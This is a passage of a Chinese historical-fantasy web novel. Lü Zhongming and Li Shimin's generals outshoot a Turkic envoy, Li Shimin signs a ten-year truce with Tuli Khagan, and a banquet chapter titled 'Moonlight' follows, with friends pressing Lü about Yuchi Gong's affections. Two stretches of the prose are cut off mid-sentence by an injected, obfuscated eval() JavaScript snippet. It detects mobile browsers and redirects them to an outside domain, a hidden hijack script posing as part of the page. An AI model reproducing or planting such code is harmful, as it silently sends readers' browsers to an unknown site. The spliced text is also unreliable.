“你不是要想想事情么?”吕仲明道。 “我心里乱得很。”李世民叹道。 吕仲明道:“别想了,想那么多做什么?自寻烦恼。” 一问一答,彼此都心下了然,吕仲明知道他对质子一事耿耿于怀,李世民道:“如果有人要你当人质,你爹会让你去么?” 吕仲明想了想,说:“我爹……应该会把对方全部……全部……” 吕仲明也想不出来自己老爹碰上这种场面,会有什么反应,估计会相当精彩。 李世民道:“我是说,如果连你爹自己都打不过对方呢?” 吕仲明笑道:“没有这种假设,你爹最后不也打算,自己去解决这件事么?人为什么要变强,就是为了不用再去取舍,至少在眼下,我觉得他宁愿自己去,也不愿送你们任何一个儿子去为质。” 李世民叹道:“可是在变强之前,也会有许多取舍。方才有那么一刻,我觉得,这或许是命。在你站出来,开口时,我才觉得心里安稳了一点。” “命,乃弱者借口,运,是强者谦辞。”吕仲明道:“你的命无人可比,放心就是,否则为什么还有这么多人跟着你,为你出谋划策?把赌注压你身上,稳赚不赔。” “诡辩。”李世民没好气道:“你究竟是道家还是墨家的?” 吕仲明莞尔一笑,李世民便不再继续这个话题,二人朝偏殿内走去。 走廊下,好几个武将来来去去,还有吕仲明不认识的门客,经过的人偶尔都会瞥他一眼,李靖快步上来,分了铠甲,大家清一色换上了天策军的战袍。李世民转身进去,一群大男人便在走廊外宽衣解带,个个脱了外袍,穿着亵衣,俱是数一数二的英朗男子。 “快。”李靖道:“大家换上这身。” 天策军战袍以暗红色,白色为主色调,还得把头发束起来,用一根簪子固定。 尉迟恭两三下把战袍换好,吕仲明还提着袍子打量,不知道怎么穿,尉迟恭便过来帮他系上缨冠,吕仲明索性张开双臂,任他摆布。 “你方才就这么说出来了。”尉迟恭沉声道:“就半点不怕?” 吕仲明莫名其妙道:“怕什么?你说替世民去当人质的事情吗?” 秦琼把陌刀插到鞘中,笑道:“应当是突利可汗怕才对罢,小王子跟仲明混几天,突厥哪还有安宁?只怕得灭族了。” 罗士信也揶揄道:“小二愣子没去,突厥人才是逃过一劫。” 吕仲明忍不住哈哈笑了起来, 尉迟恭单膝跪下去,给吕仲明整理战裙,几名首席武官俱换上了一身戎装,英姿凛凛,吕仲明道:“就是,突利可汗该庆幸我没去,不然能玩死他们。” 尉迟恭无奈摇头,数人正在互相打量时,柴绍一手按着腰畔刀柄,穿过走廊,快步而来。柴绍到时,众人都不约而同地站直,足见其威信。 柴绍扫视众人一眼,食中二指拈着一条黑色布带,交给吕仲明。吕仲明心神领会接过,系在眉间,遮住双眼。 “弟兄们。”柴绍一抱拳道:“稍后便有劳诸位了。” 数人都是朝柴绍抱拳回礼,李世民已换上一身正装,从殿内转出来,武将们便纷纷跟着李世民走去。 吕仲明被蒙着眼,只能靠听力勉强辨认脚步,进门的时候险些还绊了一跤,尉迟恭忙拉着他,大家站定,进了侧殿内,李世民方笑道:“请突厥使者过来罢。” 李世民声音有点发抖,听得出他也十分紧张,吕仲明便开口道:“没关系,大不了大家跟你一起走就是了。” 李世民深呼吸,露天的殿前十分安静,数人不再说话。脚步声响,突厥来使带着两名随从过来,坐下,一见李世民,便是一怔,继而朝身边人说了几句话。 李世民笑了笑,那随从便翻译道:“世子,罕夺大人这可等太久了。” 李世民诚恳道:“家父抱恙在床,兄长在外,恕不能与可汗相见了。” 使者摆手,说了几句话,随从道:“方才罕夺大人已去探望过唐王,没想到病得这么厉害,毕竟可汗还在城外等着,世子……” 李世民略一沉吟,笑了笑,道:“去是一定要去的,只不知道,可汗是个怎么样的人?” 随从翻译过去,罕夺哈哈笑了起来,叽里咕噜说起自家皇帝。 随从道:“突利可汗,是我们草原上的第一勇士。帐下八百武士,漠北千里沃野,无人不为之效忠。” 李世民淡淡一笑,罕夺又说了句话,随从翻译道:“突利可汗八岁时便能格毙猛虎,带领十万大军!” 李世民嗯了声,喝了口茶,一脸不以为然的表情,李靖淡淡道:“猛虎算什么?就这点本事,值得我家世子追随左右?” 随从一怔,正不知该不该说时,见李世民一脸淡定,罕夺又莫名其妙再问,只得如实翻译过去,罕夺闻言便有愠色,冷笑着又说了句话。这次,李世民不等翻译,便问道:“除了格毙猛虎之外,武力如何?” 罕夺冷笑,伸出一个手掌,又说了句话,随从道:“突利可汗十岁时,便可射中五十步外的一片树叶。” 李靖闻言也是冷笑:“拿弓箭来!” 外头的侍卫奉上弓箭,李靖就站在李世民身后,反手以腰背之力一扯,拉开长弓,随手一箭射去,那一箭飞向将近五十步外,对面殿上的大门,噔的一声,牢牢钉在门环中央。 罕夺这下知道,李世民是故意让手下人在面前显能,以杀他威风了,于是上下打量李靖,冷笑着又说了句话。随从额上登时冒汗,朝李世民道:“罕夺大人说百步穿杨算什么,突利可汗骑马纵驰大草原上,能以弓箭射下天上飞过的大雕。” 李世民笑道:“那突利可汗可算是塞外第一弓箭手了,不过只怕比起我麾下几名侍卫,还是差上了那么一点。” 罕夺不明就里,又叽里咕噜地问随从话,李靖却悠然朝那随从道:“你问问他,我与他打个赌,信不信我能射中对面角楼边缘,勾檐上挂着的那枚铃铛?” 随从说了,罕夺一愕,转头望去,登时哈哈大笑,以嘲讽之色,一指李靖。 随从道:“罕夺大人说,如果他射下来了,大人就把那铃铛吃下去。” 李靖淡淡一笑,拉开长弓,是时已近黄昏,夕阳流金,由西向东照来,耀得对面六层的高楼金光闪闪,一枚风铃悬挂在最东边的角上,于无风的傍晚,静静悬挂。 那处距离他们坐着的地方起码有一百二十步,又在高处,就算李广再世,也不可能射中。然而李靖刚拉开弓,吕仲明便道:“且慢。” 吕仲明上前一步,出列,蒙着双眼,沉声问道:“你且问问,罕夺大人愿不愿意也赌一把,赌我在李靖将铃铛射飞后,能不能第二次射中,在空中飞过的铃铛?” 吕仲明那话说得云淡风轻,一众武将虽早商量过这话,听得他说出口时,却仍忍不住同时叫了声好! 那罕夺听到翻译后,又是哈哈大笑,以为这侍卫疯了。 只有李世民手里捏着汗,却笑吟吟道:“得罪了,吕将军是与我一同长大的好兄弟。” 罕夺一脸稀奇,仿佛在听天书一般,比划了个手势,诸人都知罕夺已经懒得来嘲笑他们了,那话明显是:“你放箭,放箭就是,怎么可能?” 吕仲明却摊开左手,道:“借大人的箭一用。” 罕夺马上吩咐,随从取了一支突厥长箭,递到吕仲明手里。 全场肃静,李靖朝侧旁走了一步,抬头远眺,力运双臂,拉开一把八十三斤的强弓,架上箭。 那一刻,所有人都屏住呼吸。 吕仲明却是侧过头,蒙着黑布的眉眼稍动了动,站在原地,足势不丁不八,拉开尉迟恭赠他的长弓。 一阵风吹过,唐王府内,千万风铃一起细碎作响,就在那一刻,吕仲明辨出了方位,调整弓向。 “中!” 李靖松弦! 短短一瞬间飞速掠过,远方叮的一声响,挂在对面高楼檐角上的铃铛铃铃作响,划出一道弧线飞掠出去。吕仲明却一松手指,第二箭紧随着飞出。 那一刻,天地静谧,蓝天下,第二箭拖着优雅的轨迹,旋转着划过大半个校场的距离,追上了那枚在空中飞过的铃铛! 只在短短一念间,远方又发出第二声响,叮的一声,声音清澈无比,紧接着铃铛与箭同时落下,消失在高墙尽头。 罕夺张着嘴,半晌作不得声,吕仲明与李靖同时收弓。 不片刻,快马进唐王府,马上之人捡回铃铛,那一箭,深深嵌入铃铛内,正是先前突厥信使交给吕仲明的,自己的长箭。 “请慢用。”吕仲明淡淡道。 所有人都笑了起来,罕夺半天不知该如何应答,瞪着那枚铃铛与长箭,先前一箭去势极快,已卡在铃铛内,罕夺惊惧的目光,打量吕仲明。 李世民笑着看他,吕仲明又开口道:“不知可汗陛下射移动靶如何?” 这下罕夺再吹不了牛了,吕仲明却冷冷道:“在伸手不见五指的黑夜里,十万人的敌阵中,我只要一箭,便可取下对方将军项上首级。”说着嘴角浮现出一丝不怀好意的微笑,又问:“你不妨回去问问突利可汗,相不相信我有这本事?要是不相信,我再演示给你们看看?” “仲明,不可无礼。”李世民笑道。 随从叽里咕噜地翻译过去,罕夺闻言登时脸色大变,吕仲明说“演示”,不就是要拿突利可汗当靶子的意思?登时目光游移不定,显是已生怯心,这时候,众武将之首的柴绍终于开了口,沉声道:“替我对这突厥人说一句……” 李世民要阻止,柴绍却道:“世子身边,尽是能人,尉迟将军足够力敌千人,秦将军、罗将军曾是大隋统帅……我柴绍在长安的名头,想必可汗也是听过的。” “双方退一步,只要突厥有人能胜过两位将军箭法,世子便心甘情愿,过去在可汗面前侍奉十年。”柴绍道:“若整个突厥,都找不出能与唐王府中能人一较高下的勇士,那就恕难从命了。” 随从翻译过去,罕夺收起长箭与铃铛,满腹惊疑,此刻只想怎么快点离开这地方,李世民又安抚道:“柴将军性格耿直,请不必朝心里去,世民家父卧病在床……兄长,弟弟又不能侍奉父亲身边……”说着叹了口气。又道:“但可汗好意,世民也十分感激,不如……稍后便由世民出城,拜见突利可汗,至于去不去,到时再面谈罢。” 话说到这份上了,罕夺已不复来前的嚣张,只得冷笑,点头,揣着那箭就要走,李世民又亲自将他送到府门口,罕夺上了车,忙不迭地跑了。 事情还没有完,李世民转身便道:“准备和礼,去会一会对方可汗。” 李渊早已盘算清楚,要动手是不可能的,把儿子送出去换和平也说不过去,于是便早早地准备了十车金银布帛,又有夜明珠一盒,武将们开始忙碌准备,吕仲明骑在马上,打了个呵欠,恹恹的,问:“蒙眼布可以摘下来了么?” “再演会儿。”李靖道。 吕仲明蒙着眼睛只不住发困,感觉快撑不住了,然而不到一炷香时分,众人又闹哄哄地,前呼后拥地跟着李世民出城去。是时晋阳城门打开,城外五万突厥铁骑虎视眈眈,门一开,李世民只带着六名武将,一身潇洒出来,身后还有十车和礼。 李世民驻马对方阵前,笑道:“李世民来了!可汗何在?参见突利可汗!” 对方阵中传出号令,营地大门便开了,李世民入五万军中犹涉无人之地,时不时还转头,与身后跟着的尉迟恭说说笑笑。 突厥人在营地偏西处,摆下了酒宴,李世民拱手躬身,见过突利可汗,站在突利可汗身后的人,正是那信使罕夺。双方寒暄几句,李世民便欣然坐下。 “可汗陛下问,唐王身体如何?”翻译问道。 李世民眉头微拧,面有忧色,突利便安慰了几句,时不时抬眼,扫过李世民身后那一众武将,目光驻留于吕仲明脸上。 “中原大乱。”李世民叹道:“家兄已前往大兴,设法平息叛乱,家父在此刻生病,世民实在不敢婉拒可汗好意,然……” 罕夺凑到突利可汗耳畔小声说了几句话,突利缓缓点头,鹰隼似的双目,盯着尉迟恭看,最后说了句话,示意翻译过去。 翻译道:“可汗陛下感念世子一片孝心,就先不带世子回塞外了。” 李世民笑了起来,点头道:“感谢可汗的理解。” 翻译又道:“唐王既向可汗求和,可汗也不会再征讨并州,保你并州十年,十年后,世子须得谨记今日承诺,亲自到漠北来,履行今日之约。” 李世民稍一犹豫,便点头道:“自当遵守此诺。” 突利可汗鼻作鹰钩,双目深邃,抬起一掌,李世民遂与他击掌,应下三掌之约。 随从又捧上羊皮与笔墨,双方签定了并州十年的太平合约,至此,所有人心底方松了口气。李世民又与突利可汗喝了三杯酒,便带着武将们告退。 回到晋阳城内,吕仲明马上摘下蒙眼布,问:“怎么样?让我看看?” 李靖与秦琼、罗士信一进城便走了,料想是去调兵以防对方使诈,李世民上了城头,吕仲明扒在城墙上,朝外看。 薄暮冥冥,天色昏暗,只见突厥大军已拔军启程,训练有素,想必是真的放过晋阳了,李世民满背的汗水,袍子已被汗浸得湿透。柴绍却眉头深锁道:“十年之约,你怎可答应他?” 李世民笑道:“不碍事,就算到时候真要去,有了这十年缓冲之机,让并州免遭战乱,还是值得的。” 吕仲明也朝柴绍笑道:“不碍事不碍事,突利活不了那么久,顶多再过七八年,就得死了。” 李世民道:“你又知道?” 吕仲明打了个呵欠道:“当然,这是专业技能嘛。” 李世民哭笑不得,两人又看了一会,待得突厥大军全撤走了,数人才打道回府,李世民带着和议去见李渊,吕仲明已困得不行,连路都走不稳了,尉迟恭便把他背着回去睡觉。 吕仲明一回去就睡了个天昏地暗,秦琼与罗士信也回来了,他俩倒是还好,躺下就睡,一时间厅内横七竖八睡了四个男人,场面简直是混乱不堪。 第二天起来,吕仲明整个人都是脚步虚浮的,只见秦琼与罗士信二人正在下棋,厅里堆着不少赏赐,又是上好的锦缎,又是摆设铺盖,吕仲明饿得头晕眼花,爬过去,翻来翻去,看了一会,没找到吃的。罗士信见他醒了,便从桌子下拿出一个食盒,里面有肉有青菜,满满的都是米饭,吕仲明便裹着一身绫罗绸缎,端起食盒,吃了起来。 秦琼笑道:“少吃点,晚上唐王请饭。” 吕仲明已经把食盒给吃空了秦琼才说,登时无语。 “尉迟呢?” 罗士信:“去办事了,李建成今天回来了。他的小儿子李元吉正在路上。” 吕仲明心道李渊终于把儿子们都叫回来了,说不定下一步就是起兵反隋了,尉迟恭这些天里都跟在自己身边,一下不在,又突然觉得挺不习惯。 “尉迟不是李世民的人么?”吕仲明问:“怎么去找建成了?” “有事儿罢。”秦琼随口道:“倒是你,你怎么说?” 吕仲明:“?” 秦琼道:“那大个子跟你说了好几次,你喜欢他不?” 吕仲明:“……” 罗士信道:“愿不愿意跟他一起,好歹给人个交代罢。” 吕仲明发现这俩家伙怎么态度突然来了个大拐弯,问道:“你们不是不喜欢他的么?” 秦琼莞尔,笑了笑,罗士信在棋盘上落了一子,哼哼道:“本来不怎么待见他,不过看在他真心护着我小弟的份上,就勉为其难啦。” 秦琼道:“昨天你说,要替世民去当质子时,他确实是真心诚意地站出来,为你说话了,大个子人还是不错的。今天走时,就请咱哥俩,问问你究竟是什么心思,他说,他不明白你喜欢他不,怕都是他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563133|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢情愿。” 吕仲明马上就明白了,尉迟恭因为对他的回护,终于赢得了秦琼与罗士信的好感。 罗士信道:“倒是不勉强你,只是你喜欢不喜欢,都得给人痛快点,说句话。男人不墨迹,何况别人为了你,连命都差点丢了。” 秦琼:“唔,你就算不喜欢,也别耽误那黑炭头,免得欠情滚雪球似的,越滚越多,是不是这个道理?” “我……”吕仲明道:“我再想想罢。” 秦琼:“……” 罗士信:“……” 秦琼:“哪来这么多想来想去的,你啰嗦不啰嗦,将军。” 吕仲明道:“可我好像不喜欢他……” 罗士信下了一步棋,秦琼道:“那你就别跟人腻歪,打发他回去,这像什么样子?抽车,再将。” “起士起士……快起士……”吕仲明忙指挥罗士信道,罗士信迅速起士,吕仲明又道:“可我又觉得这样不好……” “大老爷们,你赶他走,难道还缠着你?有甚么好不好的。”罗士信随口道:“刚才那步不算……我要走马……” 秦琼:“走马是吗?再抽,再将。” 罗士信怒吼道:“再将就拆伙了!这日子没法过了!” 吕仲明马上附和道:“就是就是!太过分了!” 秦琼:“……” 当天下午,换了吕仲明与秦琼对弈,然而吕仲明与罗士信两个臭棋篓子,怎么战都战不赢秦琼,黄昏时来人请吃饭,三人才意识到拖太久了,忙各自换衣服,匆匆去正殿上吃饭。 今日直是李渊志得意满之时,并州城中的政敌党羽俱扳倒了,突厥大患又去,李世民替他签下了十年的和约,此刻再不举事,更待何时?唐王府灯火通明,犹如过节一般,宴请所有门客,开始论功排位,三个儿子,一个女婿,稳坐殿前。 唐王府门客三百余人,能入正殿者不过七十人,秦琼、罗士信、吕仲明三人正得宠,进殿内不在话下。 正殿内宾客如云,除却自家门客外,还有不少李渊的至交好友,晋阳宫监裴寂,卫尉少卿、并州一地的数名县令,俱是李渊心腹,由柴绍、李世民与李建成等人陪着说话。 三人衣冠楚楚,一来殿前,便吸引了不少人目光,其时秦琼玉树临风,罗士信虽将武袍换上正装,依旧是一身肃杀之气,吕仲明则乌眉皓目,十分俊秀,三人到得正殿前,便有婢女请进殿内。 李世民见三人一来,便暂且放下手头之事,过来与三人打招呼。秦琼与罗士信是他爱将,数人闲聊笑说了几句,李世民便朝吕仲明使眼色,示意出去说,吕仲明会意,跟着他出了殿外,站在无人的角落里。 “我正好也有事找你。”吕仲明道。 李世民笑了笑,说:“睡够了,有件事,我也想问问你意思。” “你先说罢。”吕仲明道。 李世民想了想,说:“你觉得尉迟恭这人怎么样?” 吕仲明一听就头疼,面无表情道:“我以为你有什么正经事,算了。” “这就是正经事。”李世民一本正经道:“我敬爱的兄长,心心念念想着的人,一直没有答复他,令他茶饭不思,寝食不安,还不算是正经事?” 吕仲明笑了起来,不知为何,他对李世民,与对罗士信秦琼不同,又是另一个感觉,彼此之间,仿佛是无话不谈的好友,也知道自己无论说什么,对方都不会生气。 “你如果觉得他烦了。”李世民道:“我调走他就是,毕竟这一次,他也为我立下了大功,父亲要起兵,少不得倚仗他出力,只是他不愿意去带兵……” 吕仲明明白了,当初李世民把尉迟恭派到他身边,理由是让尉迟恭协助他,现在尉迟恭已将功补过,又是用人之际,须得把他还回去了。 李世民又道:“你若不喜欢他,我支持你说清楚,如果喜欢他呢,我在人事安排上,会有少许调整。” “你们……”吕仲明哭笑不得道:“你们的风气实在太开放了。” 李世民莞尔道:“我家祖上,也与鲜卑人有过姻亲,何况喜欢便说出来,又有何不妥?” 吕仲明来前便知隋唐风俗,若是换了别的时代,说不得各种礼各种防,各种隐而不宣,没想到隋唐简直就是花样百出,围追堵截,尉迟恭要泡他不算,还让李世民罗士信这群人帮着泡。 “我考虑一下。”吕仲明答道。 “别考虑了。”李世民道:“敬德有什么不好?你若错过了他,全天底下,就再也找不到一个这么喜欢你的人了。” 吕仲明快哭出来了,说:“我不跟你玩了!” 正说话时,李靖正经过要进殿内,忽见两名少年在无人之处拉拉扯扯,吕仲明摔袖子要走,李世民却在后面扯着他衣服,李靖便过来抱拳。 “吕道长。”李靖道:“正有一事,想与你说。” 吕仲明:“……” 吕仲明心道该不会是连李靖也要帮尉迟恭说话罢。 李世民在后头笑,李靖道:“拙荆久闻吕道长大名,三月初三,上巳节时,想请吕道长到汾河畔一聚,到时会做点小菜,大家喝喝酒,在河边聊聊天,不知吕道长是否赏脸。” “红……”吕仲明听到吃的登时就精神了,忙道:“李夫人手艺,自然要去尝一尝的。” 李世民道:“好啊,李靖,怎么不请我?” 李靖道:“世子若得空愿意来,自当欢迎。” 吕仲明转念一想,又问:“还请了谁?” 李靖解释道:“只是家宴,除你我,拙荆与敬德兄外,便再无客人了。” 吕仲明:“……” 果然绕来绕去,还是在帮尉迟恭当说客,吕仲明无语点头,李世民在他身后已经要笑疯了。 李靖走后,李世民便道:“我知道你也喜欢他。” “你又知道了?”吕仲明道。 李世民道:“因为你与他说话时,与别人的神色不一样。你很少当着我们的面,与敬德开玩笑,是不是?” 吕仲明被这么一提醒,倒是隐约发现了这点,仿佛有别人在的时候,自己和尉迟恭总是客客气气,然而人一走,两人就互相不客气了。 “好罢。”吕仲明深吸一口气,说:“我……吃饭的时候认真考虑,今天晚上,一定给他个答复。” 说毕吕仲明远远地看到李建成来了,不太想和他打交道,便转身要走,李世民却道:“你有什么话对我说?还没说呢。” “啊对了!”吕仲明这才想起来,正是要紧事,忙转身道:“我想了好几天,得离开并州一趟。” “什么?”李世民眉头登时拧了起来。 吕仲明认真道:“现在麻烦都解决了,你爹也要起兵了,从并州起兵这一路上,一直到大兴,都没我什么事……” “怎么会没你事?”李世民不悦道:“秦琼和罗士信还说了,想让你跟着他们,充当先锋军……” “听我说。”吕仲明道:“你们直到打到大兴前,都不会有什么困难。我必须先去扬州一趟,拿回我的一件东西。” “被杨广索去的法宝么?”李世民道。 吕仲明一震道:“你也知道了?” 李世民颔首,吕仲明又道:“那件东西对我来说至关紧要,等到进了大兴以后,一定会有许多麻烦,我须得早点拿回来,而且也不能落在凡人手里。” 李世民道:“不妥,那法宝有什么作用?我替你设法取回来。现在天下那么乱,你自己去怎么行?” 吕仲明正在思考,要不要将自己的任务和盘托出之时,李世民却道:“你若实在要去的话,我让敬德陪你去一趟。” 吕仲明:“你还带捆绑销售的吗!算了,我再想想吧。” 没有龙鳞,到时候李家打到了大兴,里头佛寺林立,不知道有多少大BOSS等着自己,简直就是去找死……吕仲明正想着这事时,李建成却发现了他俩,朝二人走来。 “大哥。”李世民笑道。 李建成朝弟弟点了下头,便道:“吕先生,借一步说话。” 李世民识趣道:“我去陪客人,先行一步。” 吕仲明心里大叫道李世民!你这也太不够意思了!老子千里迢迢过来,什么都帮着你考虑,你居然这样就把我丢给你大哥了了了了! 26. 第二十五回:月光 吕仲明心头万驼狂奔,却只得与李建成站在月光下,笑笑见礼,远处乐声传来。李建成彬彬有礼道:“先前是建成怠慢了,望先生莫要往心里去。”说毕又是一礼,长躬到地,朗声道:“建成感念吕先生为我李家尽心竭力之大恩。” 吕仲明吓了一跳,忙伸手扶起他,心里不无愧疚,勉强笑道:“应当的。” 李建成又道:“现今建成归来,若无意外,当守卫并州,来日还盼吕先生,多多教导建成。” 吕仲明面部表情一僵,知道李建成肯定看出自己,最开始时不与他推心置腹,乃是装傻,实际上则是与李世民交好的事来了。 “一定尽心辅助世子。”吕仲明道。 李建成又说:“建成心里有许多话,想对先生说,但今夜父王设宴,不敢叨扰先生,明日再去拜谒。先生请与我来。” “好的。”吕仲明笑道。 进了殿内,李渊左手处坐了清一色文官,而右手处坐的都是武将,李建成便安排他坐到文官席位,朝他身边那人道:“你俩多亲近亲近,定有说不完的话。” 吕仲明坐在文官席中的最后一位,身后则都是谋臣类的门客,知道自己身无官职,坐在这里,已是有大功,才能与诸县令,卫尉等排排坐,对面则都是武将,秦琼、罗士信都入席了,便点点头。 依旧是一人一席,吕仲明心想这时候的人都不喜欢一家子围着圆桌吃饭的,感觉多生疏。正等吃时,身边那人便道:“兄台贵姓?” “吕。”吕仲明注意力都在吃上,转头一看,与自己搭话之人一身贵气,眉清目秀,唇若点朱,眉眼如画,肤色白皙,一身书卷气。袍子的衽上纽扣,衣袖上俱镶着夜明珠,手腕上戴着一串檀香佛珠。正是个秀色可餐的翩翩少年,一身世家公子哥范儿,唇红齿白,绝非门客之辈。 吕仲明先是一怔,看到佛珠便有点发悚,然而看他打扮,又完全不像佛门中人,心想来了这许久,唐王府里还有这等小帅哥?应当不是王府门客,那就是李家的朋友了,说不定是临时召回来的,看那样子,又像是重要人物,转念一想,便笑道:“长孙无忌?” 那少年十分惊讶,笑道:“吕仲明?” 两人相视而笑,吕仲明一猜就中,知道他是李世民最好的朋友,妹妹还要嫁给李家,心中便生出几分亲近,打趣道:“你怎么知道是我?” “世民才跟我说过日前之事。”长孙无忌凑近点,示意他看对面,吕仲明顺着目光望去,见李世民坐在武将席之首,身边就是柴绍,李世民正好也望过来,便向他俩笑笑。 “世民常说起你。”吕仲明与对方年岁相仿,又感觉是一般的心性,便道:“你什么时候回来的?” 长孙无忌道:“前天晚上收到他来信,说想见我最后一面,真把我吓得够呛,快马加鞭,一路上觉也没睡就冲来了,没想到又没事了,你说这不折腾人么?” 吕仲明莞尔道:“就是。” 长孙无忌又无奈道:“这天下,也只有你和我两人,愿意替他去当质子了。” 吕仲明听到这话时,忽有种心酸,心中又生愧疚,想了想,极小声道:“无忌,说来惭愧,我知世民一生运数,必不是为质之人,才白讨的这人情。” 长孙无忌正喝茶,扑一声了喷了出来,又正色道:“怎样都好,谢谢你为他说了那句话。” 吕仲明欣赏地看着长孙无忌,点了点头,目光又移到他手腕佛珠上,长孙无忌见他对这串佛珠挺在意,便晃了晃手腕道:“喜欢么?喜欢就送你。” “哪来的?”吕仲明笑道。 长孙无忌忙点头,笑笑道:“我从大兴回并州时,途经函谷关下,净土宗的善导大师送我的,让我戴着消灾用。” 吕仲明:“开过光么?” 长孙无忌想了想道:“好像说开过。” “哦……”吕仲明若有所思,本想推辞,长孙无忌却递过来,说:“送你了。” 木质如铁,乃是乌木,一两乌木一两金,送得出这么一串佛珠的僧人,不是寻常人,吕仲明要推,手却碰到了那串佛珠,当即感觉到一丝庄严之气。 那是佛门高人朝物品中灌注的佛力,开光之物旁人不可碰,既然吕仲明已经碰到了,便随手接过,仔细端详,笑着说:“我回你一万两黄金的礼,先欠着。” 长孙无忌哈哈大笑,拍拍吕仲明肩膀,说:“等我妹妹出嫁时,再来找你讨。” 吕仲明握着那佛珠,点了点头,感觉佛珠上的力量,那圣洁之气与自己见过的善无畏,也就是观世音的莲花力不同,更非玄门中霸道的卍字佛光之力……犹如温和月光下,缓缓绽开的一朵白花,在黑色的乌木佛珠中流淌。 会是谁呢?哪一宗的? 吕仲明察完那佛珠,随手摸到案几下,手指按着木边的锋锐处,轻轻一划,划破些许皮肤,渗出一滴血来,抹在佛珠上。 吕仲明的血一渗进去,佛力登有反应,与神兽之血分庭抗礼,隐隐对阵,谁也压不住对方的真力,乌木内登时汇聚了两股力量。 “怎么?”长孙无忌问:“善导大师说我命中有劫,须得以佛珠辟邪,这珠子有蹊跷么?” 吕仲明笑着摇头,拉起长孙无忌的手,把佛珠给他戴上,说:“你戴着,能趋吉避凶,我也帮你开过一次光了。” 长孙无忌似有所感,抬起手腕,翻来覆去地看,吕仲明又问:“那位叫善导的法师,是个什么样的人?” 长孙无忌道:“他也来晋阳了,还有一位姓韦的护法……” 这话一听,吕仲明登时一凛,说:“什么时候来的?” 长孙无忌道:“与我前后脚到,建成大哥请过来的,想为唐王与百姓们祈福,不过唐王不太喜欢他,他喜欢你们道家……” 吕仲明这才稍稍放下了心,长孙无忌又凑到他耳畔,笑道:“仲明,会看人命相,是么?给我也看看手相罢。” 说着就把手伸过来,吕仲明看也不看,小声说:“你以后会位极人臣,当上国舅爷哦。” 长孙无忌:“……” 正好这个时候上菜了,吕仲明便把长孙无忌彻底忘了,开始吃了。 长孙无忌席间好几次要打扰吕仲明,却无论如何都无法成功,李渊在上头说话,吕仲明自己都是充耳不闻,一时间宾客满堂,都是大笑又或是大哗,都不关他的事了。 “喝点酒嘛。”长孙无忌道:“吃这么急做什么。” 吕仲明与长孙无忌互一敬酒,又专心对付他的一块鱼去了。 长孙无忌道:“对面那群人,你认全了么?要么给你介绍介绍?” “说。”吕仲明言简意赅道。 长孙无忌道:“坐在世民身边的,就是柴绍柴大侠……” “知道。”吕仲明道。 “王府里武功最高的那个。”长孙无忌道:“打遍长安无敌手,惹上他的人,都只要一剑……不过后来,碰上了秀宁姐,发现下不了手……” “唔。” 自古英雄难过美人关,吕仲明深以为然。 “建成哥身边坐的是我舅舅。”长孙无忌道:“他很聪明,也喜欢聪明的后辈,你叫他高叔就行。” 吕仲明朝文臣席上看了一眼,那长得有点像长孙无忌的年轻人就是高士廉了,一副书生模样,果然外甥像舅,俩甥舅像了个十足十。只是甚年轻,看上去还不到三十,根本看不出他是长辈。 “他身后的是卫尉使温彦博,坐温彦博对面的是天策军尉段志玄,天策军就是他一手带出来的……” 吕仲明听到这话时,抬头看了武将席上第二名的段志玄,长孙无忌又道:“不过去年段将军调去当函谷关守了,也是最近才回来,你猜今天晚上会发生什么?” “待会你就知道了。”吕仲明简略道。 长孙无忌又说:“段将军右手下,是尉迟大哥……” “我认识,跳过。”吕仲明道。 长孙无忌看尉迟恭身边的李靖,不知道是谁了,说:“那位倒是没见过,不过感觉有点眼熟。” “李靖。”吕仲明用筷子把不吃的姜挑出来,腊肉卷好,开始吃肉。 “李靖?”长孙无忌皱眉,似乎在回忆这个名字。 吕仲明补充道:“红拂女。” 长孙无忌惊讶道:“就是去杨素家,结果把人家婢女带跑了的那个?” “你也知道?”吕仲明问。 长孙无忌道:“当然,长安传得满城风雨。” 吕仲明心道李靖讨个老婆也真不容易……正好菜吃完了,下一道菜还没上,便凑过去,低声道:“我还没来之前,世民有谋士吗?” 长孙无忌微一颔首道:“侯君集,就是世民身后那个。” 吕仲明伸长脑袋往李世民身后看,见也是一个年轻人,年纪不大,一身布衣,便点点头,长孙无忌道:“不过我不太喜欢他。” “为什么?”吕仲明问。 “说不到一块去。”长孙无忌笑笑道:“挺机智,没什么灵气。” 吕仲明见尉迟恭起身离席,忽然心中一动,想起今天的承诺,正好也有许久没见尉迟恭了,便想与他说说话,喝了口酒,小声道:“我离席一会。” “我还没说完!”长孙无忌拉着他不让他走,吕仲明道:“马上就回来……嘘,别说。” 李渊还在谈笑风生,吕仲明便起身,从柱子后出去,走到偏门外,出了正殿。 今夜恰好是二月十五,天际一轮满月,不知为什么,初唐的月亮总是特别圆,也特别的大,而且还特别亮。 月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563134|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映着晋阳宫的高楼,晴夜千里无云,微风拂过,别有一番况味。 吕仲明整理衣冠,长吁了口气,待会见到尉迟恭以后怎么说呢?直接就开口?说我兄弟和李世民连李靖都被你收买了,成天拷问为什么我不喜欢你,现在我来找你了…… 不成。 你是个好人,可是我把你当哥哥……发好人卡么这是……发好人卡好像也不对……吕仲明犹豫半晌,又开始纠结自己喜不喜欢尉迟恭,喜欢一个人是怎么样的呢? 